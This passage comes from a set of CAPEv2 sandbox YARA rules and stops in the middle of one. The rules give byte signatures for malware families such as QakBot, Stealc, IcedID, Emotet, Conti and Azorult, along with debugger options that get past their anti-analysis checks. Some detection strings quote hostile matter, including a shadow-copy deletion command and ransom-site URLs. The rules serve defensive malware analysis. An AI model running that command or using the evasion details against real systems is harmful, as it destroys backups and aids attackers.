		id = "401184cf-bbd7-5afe-9589-470f54721af1"
		date = "2022-03-16"
		modified = "2024-02-16"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/QakBot.yar#L15-L29"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "ad75b07b9b786f634fd46cbe6dc089d3f732673320e70714e8ab058f0392c9f5"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config"
		packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68"
	strings:
		$params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9}
		$c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8}
		$c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8}
		$conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}


rule CAPE_Cargobayloader : FILE
{
	meta:
		description = "CargoBayLoader anti-vm bypass"
		author = "kevoreilly"
		id = "5b347863-0bea-55d2-aaf3-b3d6e604be89"
		date = "2023-02-20"
		modified = "2023-02-20"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/CargoBayLoader.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "75e975031371741498c5ba310882258c23b39310bd258239277708382bdbee9c"
		logic_hash = "1d5c4ca79f97e1fac358189a8c6530be12506974fc2fb42f63b0b621536a45c9"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$jmp1+4,action0=skip,bp1=$jmp2+2,action1=skip,count=1,force-sleepskip=1"
	strings:
		$jmp1 = {40 42 0F 00 0F 82 [2] 00 00 48 8D 15 [4] BF 04 00 00 00 41 B8 04 00 00 00 4C 8D [3] 4C 89 F1 E8}
		$jmp2 = {84 DB 0F 85 [2] 00 00 48 8D 15 [4] 41 BE 03 00 00 00 41 B8 03 00 00 00 4C 8D 7C [2] 4C 89 F9 E8}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule CAPE_Stealcanti : FILE
{
	meta:
		description = "Stealc detonation bypass"
		author = "kevoreilly"
		id = "32e5c1cf-ef57-58eb-9deb-fab0064cc676"
		date = "2023-02-22"
		modified = "2025-09-01"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Stealc.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d"
		logic_hash = "4132e8094b0b49a89e9f40a8b1a6abbf105bbb04e4ddf3ce739e39fc2baf0d13"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$anti+17,action0=skip,count=1"
	strings:
		$anti = {53 57 57 57 FF 15 [4] 8B F0 74 03 75 01 B8 E8 [4] 74 03 75 01 B8}
		$decode = {6A 03 33 D2 8B F8 59 F7 F1 8B C7 85 D2 74 04 2B C2 03 C1 6A 06 C1 E0 03 33 D2 59 F7 F1}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Stealcstrings : FILE
{
	meta:
		description = "Stealc string decryption"
		author = "kevoreilly"
		id = "087b5532-e1e7-5df9-adb2-bf758c8ba352"
		date = "2023-02-22"
		modified = "2025-09-01"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Stealc.yar#L15-L26"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6d402446a979c00b6257ace9924db381d98c530b22968bd2776c66d58c7faefc"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$decode+17,action0=string:edx,count=0,typestring=Stealc Strings"
		packed = "d0c824e886f14b8c411940a07dc133012b9eed74901b156233ac4cac23378add"
	strings:
		$decode = {51 8B 15 [4] 52 8B 45 ?? 50 E8 [4] 83 C4 0C 6A 04 6A 00 8D 4D ?? 51 FF 15 [4] 83 C4 0C 8B 45 ?? 8B E5 5D C3}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Stealcv2Strings : FILE
{
	meta:
		description = "StealcV2 string decryption"
		author = "kevoreilly"
		id = "d99fcc9c-35cc-5494-a0cd-738f3ae8d367"
		date = "2023-02-22"
		modified = "2025-09-01"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Stealc.yar#L28-L43"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "923f70edb3ad70957576994008729bf7a087479eed1973c42161aa96fa694baa"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$decode32*,action0=string:[esp],bp1=$decode64,action1=string:eax,bp2=$dump,action2=dumpstrings,count=0,typestring=Stealc Strings"
		packed = "2f42dcf05dd87e6352491ff9d4ea3dc3f854df53d548a8da0c323be42df797b6"
		packed = "8301936f439f43579cffe98e11e3224051e2fb890ffe9df680bbbd8db0729387"
	strings:
		$decode32 = {AB AB AB AB 8B 45 0C 89 4E 10 89 4E 14 39 45 08 75 0B C7 46 14 0F 00 00 00 88 0E EB 0F 2B 45 08 50 51 FF 75 ?? 8B}
		$decode64 = {40 53 48 83 EC 20 48 8B 19 48 85 DB 74 ?? 48 8B 53 18 48 83 FA 0F 76 2C 48 8B 0B 48 FF C2 48 81 FA 00 10 00 00 72}
		$dump32 = {33 C0 89 46 30 88 46 34 89 46 38 89 46 3C 89 46 40 89 46 44 89 46 48 89 46 4C 89 46 50 89 46 54 89 46 58 8B C6 5F 5E C3}
		$dump64 = {48 8B C7 89 6F 40 40 88 6F 44 48 89 6F 48 48 89 6F 50 48 89 6F 58 48 89 6F 60 48 89 6F 68 48 89 6F 70 48 89 6F 78 48 89}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Stealcv2Datecheck : FILE
{
	meta:
		description = "StealcV2 date check bypass"
		author = "kevoreilly"
		id = "4969d005-3532-5b75-9fa9-10e09bab338e"
		date = "2023-02-22"
		modified = "2025-09-01"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Stealc.yar#L45-L56"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "f074aceb7c111156752891acac8690c00dad7c26240fb0752cc12a9a65aa3d30"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "patch=$date32*-1:B000,patch=$date64*-2:B00090"
	strings:
		$date32 = {F3 A5 8D 45 ?? 50 E8 [4] 59 8B F8 8B F2 8D 45 ?? 50 E8 [4] 59 3B F2 7C 08 7F 04 3B F8 76 02 B3 01 8A C3}
		$date64 = {0F 11 44 [2] 0F 11 8C [2] 00 00 00 89 8C [2] 00 00 00 48 8D 4C [2] E8 [4] 48 8B D8 48 8D 4C [2] E8 [4] 48 3B D8 0F 9F C0}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Emotetpacker : FILE
{
	meta:
		description = "Emotet bypass"
		author = "kevoreilly"
		id = "67b8e14c-5fa8-52af-bb9a-1663b084fbf0"
		date = "2022-03-31"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/EmotetPacker.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "5a95d1d87ce69881b58a0e3aafc1929861e2633cdd960021d7b23e2a36409e0d"
		logic_hash = "5f27d9d18884f7e0805f69960869b332c1577bf8be8ac103285e8bf98cda0ffd"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$trap1+31,action0=skip,bp1=$trap2+43,action1=jmp:186,count=1"
	strings:
		$trap1 = {8B 45 08 0F 28 0D [4] 0F 57 C0 0F 29 46 30 89 46 40 C7 46 44 00 00 00 00 0F 11 4E 48 E8}
		$trap2 = {F2 0F 10 15 [4] BE 01 00 00 00 0F 01 F9 C7 44 24 60 00 00 00 00 89 4C 24 60 0F 01 F9 C7 44 24 5C 00 00 00 00 89 4C 24 5C 0F 1F 84 00 00 00 00 00}
	condition:
		uint16( 0 ) == 0x5A4D and any of ( $trap* )
}

rule CAPE_Icedidsyscallwritemem : FILE
{
	meta:
		description = "IcedID 'syscall' packer bypass - direct write variant"
		author = "kevoreilly"
		id = "67935058-4191-587f-ad19-497defd0eef1"
		date = "2021-03-30"
		modified = "2023-11-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/IcedID.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "6b068106b038e9efeb9057cadf314d400c1ada1a1cc70336d3272da3a212c993"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$tokencheck+9,action0=jmp,count=0"
		packed = "28075ecae5e224c06e250f2c949c826b81844bca421e9158a7a9e965a29ef894"
		packed = "045dff9f14a03225df55997cb2ca74ff60ecaf317b9e033ea93386785db84161"
	strings:
		$tokencheck = {39 5D ?? 75 06 83 7D ?? 03 74 05 BB 01 00 00 00 41 89 1C ?? 48 8B 4D ?? 41 FF D?}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Icedidpackera : FILE
{
	meta:
		description = "IcedID export selection"
		author = "kevoreilly"
		id = "d793d8a1-0e17-56ad-933c-470e2290867b"
		date = "2021-03-30"
		modified = "2023-11-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/IcedID.yar#L27-L40"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "fbad60002286599ca06d0ecb3624740efbf13ee5fda545341b3e0bf4d5348cfe"
		logic_hash = "aa0681e7794546355e6d61f739c49035a493cdfca7e666531d74e3835ec44408"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "export=$export"
	strings:
		$init = "init"
		$export = {48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 81 EC [2] 00 00 41 8B E9 49 8B F0 48 8B FA 48 8B D9}
		$alloc = {8B 50 50 33 C9 44 8D 49 40 41 B8 00 30 00 00 FF 15 [4] 48 89 44 24 28 [0-3] 48 89 84 24 ?? 00 00 00 E9}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Icedidpackerb : FILE
{
	meta:
		description = "IcedID export selection"
		author = "kevoreilly"
		id = "6bd0e64d-e60e-5cd2-af79-946a7f6dc9f5"
		date = "2021-03-30"
		modified = "2023-11-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/IcedID.yar#L42-L56"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "6517ef2c579002ec62ddeb01a3175917c75d79ceca355c415a4462922c715cb6"
		logic_hash = "fde1e2c0124d180b2fa3d0675b35e8d78fdd7b06cd27e9228c148aa29ce30ee7"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "export=$export"
	strings:
		$init = "init"
		$export = {44 89 4C 24 20 4C 89 44 24 18 48 89 4C 24 08 41 55 41 56 41 57 48 81 EC ?? 00 00 00 B9 [2] 00 00 4C 8B EA E8}
		$loop = {8B C2 48 8D 49 01 83 E0 07 FF C2 0F B6 44 30 ?? 30 41 FF 3B D5 72}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Icedidpackerc : FILE
{
	meta:
		description = "IcedID export selection"
		author = "kevoreilly"
		id = "fddfd0d2-1bc0-56bb-b983-5850e17a3d0f"
		date = "2021-03-30"
		modified = "2023-11-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/IcedID.yar#L58-L71"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "c06805b6efd482c1a671ec60c1469e47772c8937ec0496f74e987276fa9020a5"
		hash = "265c1857ac7c20432f36e3967511f1be0b84b1c52e4867889e367c0b5828a844"
		logic_hash = "f1e75e380ab0947fdfda012b7a5077a1c2ef51163239846ab2dc29cac95ba166"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "export=$export"
	strings:
		$export = {44 89 4C 24 20 4C 89 44 24 18 48 89 54 24 10 3A ED 74}
		$alloc = {41 B8 00 10 00 00 8B D0 33 C9 66 3B ?? (74|0F 84)}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Icedidpackerd : FILE
{
	meta:
		description = "IcedID export selection"
		author = "kevoreilly"
		id = "df0ca4bd-1ea6-57ef-b85a-7ed0e2a20831"
		date = "2021-03-30"
		modified = "2023-11-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/IcedID.yar#L73-L86"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "7b226f8cc05fa7d846c52eb0ec386ab37f9bae04372372509daa6bacc9f885d8"
		logic_hash = "6685e0246f5a11ce0ca33447837de06506b447a5f8591423e2b76f2ab0274dc7"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "export=$export"
	strings:
		$init = "init"
		$export = {44 89 4C 24 20 4C 89 44 24 18 48 89 54 24 10 66 3B ED 74}
		$load = {41 B8 00 80 00 00 33 D2 48 8B 4C [2] EB ?? B9 69 04 00 00 E8 [4] 48 89 84 [2] 00 00 00 66 3B ED 74}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Icedsleep : FILE
{
	meta:
		description = "IcedID sleep bypass"
		author = "kevoreilly"
		id = "d6bd708b-47bc-5620-b40e-8fe5f1a67ba4"
		date = "2021-03-30"
		modified = "2023-11-28"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/IcedID.yar#L88-L99"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "0b1a8be95b1b8a3b066837f9e47561ee8202d741b39d64e626c0461c2fbf7c70"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "force-sleepskip=1"
		packed = "e99f3517a36a9f7a55335699cfb4d84d08b042d47146119156f7f3bab580b4d7"
	strings:
		$sleep = {89 4C 24 08 48 83 EC 38 8B 44 24 40 48 69 C0 10 27 00 00 48 F7 D8 48 89 44 24 20 48 8D 54 24 20 33 C9 FF 15 [4] 48 83 C4 38 C3}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Anticuckoo : FILE
{
	meta:
		description = "AntiCuckoo bypass: https://github.com/therealdreg/anticuckoo"
		author = "kevoreilly"
		id = "e221e57b-313e-5998-a3fc-5b4e9671b989"
		date = "2023-03-17"
		modified = "2023-03-17"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/AntiCuckoo.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		hash = "ad5e52f144bb4a1dae3090978c6ecb4c7732538c9b62a6cedd32eccee6094be5"
		logic_hash = "a039aeca2dae44980e8bffafacfda90975e107001be50f11ac916b35ad43592e"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$HKActivOldStackCrash+36,action0=jmp,count=1"
	strings:
		$HKActivOldStackCrash = {5B 81 FB FA FA FA FA 74 01 41 3B E0 75 ?? 83 E9 0B 83 F9 04 7F 04 C6 45 ?? 00 89 4D ?? 89 65 ?? 80 7D ?? 00 74}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule CAPE_Zloader : FILE
{
	meta:
		description = "Zloader API Spam Bypass"
		author = "kevoreilly"
		id = "8a8e7102-1138-59e7-95a6-8647d41d8521"
		date = "2021-03-12"
		modified = "2024-05-03"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Zloader.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "319adca805083c7f5854fe840447cf961addbd748f1f25eb8ec8cdeed7af38aa"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "bp0=$trap1-5,action0=hooks:0,bp1=$traps-108,action1=jmp:15,bp2=$traps-88,action2=hooks:1,count=0"
	strings:
		$trap1 = {81 F7 4C 01 00 00 8D B4 37 [2] FF FF 31 FE 69 FE 95 03 00 00 E8 [4] 31 FE 0F AF FE 0F AF FE E8}
		$traps = {6A 44 53 E8 [2] FF FF 83 C4 08 8D 85 ?? FF FF FF C7 85 ?? FF FF FF 44 00 00 00 50}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}



rule CAPE_Themida : FILE
{
	meta:
		description = "Themida detonation shim"
		author = "kevoreilly"
		id = "cd5c8b08-4864-57f7-b218-1bcb6892bea8"
		date = "2024-09-10"
		modified = "2024-09-11"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/analyzer/windows/data/yara/Themida.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "c4f1e01a3fe3cb66062ce03253bfe9edc09dc6f1a77db99b281106e8ceff9257"
		score = 75
		quality = 70
		tags = "FILE"
		cape_options = "unhook-apis=NtSetInformationThread,force-sleepskip=0"
		packed = "6337ff4cf413f56cc6c9a8e67f24b8d7f94f620eae06ac9f0b113b5ba82ea176"
	strings:
		$code = {FC 31 C9 49 89 CA 31 C0 31 DB AC 30 C8 88 E9 88 D5 88 F2 B6 08 66 D1 EB 66 D1 D8 73 09}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}



rule CAPE_Rokrat : FILE
{
	meta:
		description = "RokRat Payload"
		author = "kevoreilly"
		id = "12e05b90-9771-5901-ae82-9fd2ea6263e7"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/RokRat.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "2aaa7de7ccd59e0da690f4bc0c7deaacf61314d61f8d2aa3ce6f6892f50612ec"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "RokRat Payload"
	strings:
		$code1 = {8B 57 04 8D 7F 04 33 57 FC 81 E2 FF FF FF 7F 33 57 FC 8B C2 24 01 0F B6 C0 F7 D8 1B C0 D1 EA 25 DF B0 08 99 33 87 30 06 00 00 33 C2 89 87 3C F6 FF FF 83 E9 01 75 C9}
		$string1 = "/pho_%s_%d.jpg" wide
	condition:
		uint16( 0 ) == 0x5A4D and ( any of ( $code* ) ) and ( any of ( $string* ) )
}

rule CAPE_Magniber : FILE
{
	meta:
		description = "Magniber Payload"
		author = "kevoreilly"
		id = "a704914f-2aa2-537d-975d-f8c23427951f"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Magniber.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "1875754bdf98c1886f31f6c6e29992a98180f74d8fa168ae391e2c660d760618"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Magniber Payload"
	strings:
		$a1 = {8B 55 FC 83 C2 01 89 55 FC 8B 45 FC 3B 45 08 7D 45 6A 01 6A 00 E8 26 FF FF FF 83 C4 08 89 45 F4 83 7D F4 00 75 18 6A 7A 6A 61 E8 11 FF FF FF 83 C4 08 8B 4D FC 8B 55 F8 66 89 04 4A EB 16}
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Conti : FILE
{
	meta:
		description = "Conti Ransomware"
		author = "kevoreilly"
		id = "c94aed07-0eaf-5b51-a81e-e1992543673a"
		date = "2020-10-19"
		modified = "2021-03-15"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Conti.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "c9842f93d012d0189b9c6f10ad558b37ae66226bbb619ad677f6906ccaf0e848"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Conti Payload"
	strings:
		$crypto1 = {8A 07 8D 7F 01 0F B6 C0 B9 ?? 00 00 00 2B C8 6B C1 ?? 99 F7 FE 8D [2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD}
		$website1 = "https://contirecovery.info" ascii wide
		$website2 = "https://contirecovery.best" ascii wide
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule CAPE_Megacortex : FILE
{
	meta:
		description = "MegaCortex Payload"
		author = "kevoreilly"
		id = "ea3dd937-2cb1-5b0f-98b8-154aacaf8650"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/MegaCortex.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "5de1d8241260070241c91b97f18feb2a90069e3b158e863e2d9f568799c244e6"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "MegaCortex Payload"
	strings:
		$str1 = ".megac0rtx" ascii wide
		$str2 = "vssadmin delete shadows /all" ascii
		$sha256 = {98 2F 8A 42 91 44 37 71 CF FB C0 B5 A5 DB B5 E9}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Gootkit : FILE
{
	meta:
		description = "Gootkit Payload"
		author = "kevoreilly"
		id = "8935fd10-ac79-5196-80c2-fc8f2fe185b5"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Gootkit.yar#L1-L11"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "26704b6b0adca51933fc9d5e097930320768fd0e9355dcefc725aee7775316e7"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Gootkit Payload"
	strings:
		$code1 = {C7 45 ?? ?? ?? 4? 00 C7 45 ?? ?? 10 40 00 C7 45 E? D8 ?? ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 [1-2] 00 10 40 00 89 [5-6] 43 00 89 ?? ?? 68 E8 80 00 00 FF 15}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Azorult : FILE
{
	meta:
		description = "Azorult Payload"
		author = "kevoreilly"
		id = "ca76ec00-001f-56d0-bdbc-9dfd3239fba8"
		date = "2019-10-30"
		modified = "2022-06-09"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Azorult.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "4691cf48d513d1965416b0cce1b6e19c8f7b393a940afd68b7c6ca8c0d125d90"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Azorult Payload"
	strings:
		$code1 = {C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 00 00 00 8D 85 80 F5 FF FF 89 47 2C C7 47 30 00 08 00 00 8D 85 80 F1 FF FF 89 47 34 C7 47 38 00 04 00 00 57 68 00 00 00 90}
		$string1 = "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\")"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule CAPE_Cryptoshield : FILE
{
	meta:
		description = "Cryptoshield Payload"
		author = "kevoreilly"
		id = "a7b60a0d-7d46-59c9-8273-ee23bae3fbbc"
		date = "2019-10-30"
		modified = "2019-10-30"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Cryptoshield.yar#L1-L13"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "46064b4c69cb1af01330c5d194ef50728e0f0479e9fbf72828822935f8e37ac6"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "Cryptoshield Payload"
	strings:
		$a1 = "CRYPTOSHIELD." wide
		$a2 = "Click on Yes in the next window for restore work explorer" wide
		$a3 = "r_sp@india.com - SUPPORT"
	condition:
		uint16( 0 ) == 0x5A4D and ( all of ( $a* ) )
}

rule CAPE_Buerloader_1 : FILE
{
	meta:
		description = "No description has been set in the source file - CAPE"
		author = "kevoreilly & Rony (@r0ny_123)"
		id = "95a9b4d7-db1e-50cd-bc08-01e4e4fd6dc4"
		date = "2020-10-29"
		modified = "2022-05-31"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/BuerLoader.yar#L1-L12"
		license_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/LICENSE"
		logic_hash = "05c1f008f0a2bb8232867977fb23a5ae8312f10f0637c6265561052596319c29"
		score = 75
		quality = 70
		tags = "FILE"
		cape_type = "BuerLoader Payload"
	strings:
		$trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31}
		$decode = {8A 0E 84 C9 74 0E 8B D0 2A 0F 46 88 0A 42 8A 0E 84 C9 75 F4 5F 5E 5D C2 04 00}
		$op = {33 C0 85 D2 7E 1? 3B C7 7D [0-15] 40 3B C2 7C ?? EB 02}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule CAPE_Hancitor : FILE
{
	meta:
		description = "Hancitor Payload"
		author = "threathive"
		id = "b4e9a26a-db00-5553-acc2-f35148b0ffd5"
		date = "2019-10-30"
		modified = "2020-10-20"
		reference = "https://github.com/kevoreilly/CAPEv2"
		source_url = "https://github.com/kevoreilly/CAPEv2/blob/539d7ad94675d7caee5eee0816d49af6654efb20/data/yara/CAPE/Hancitor.yar#L1-L14"
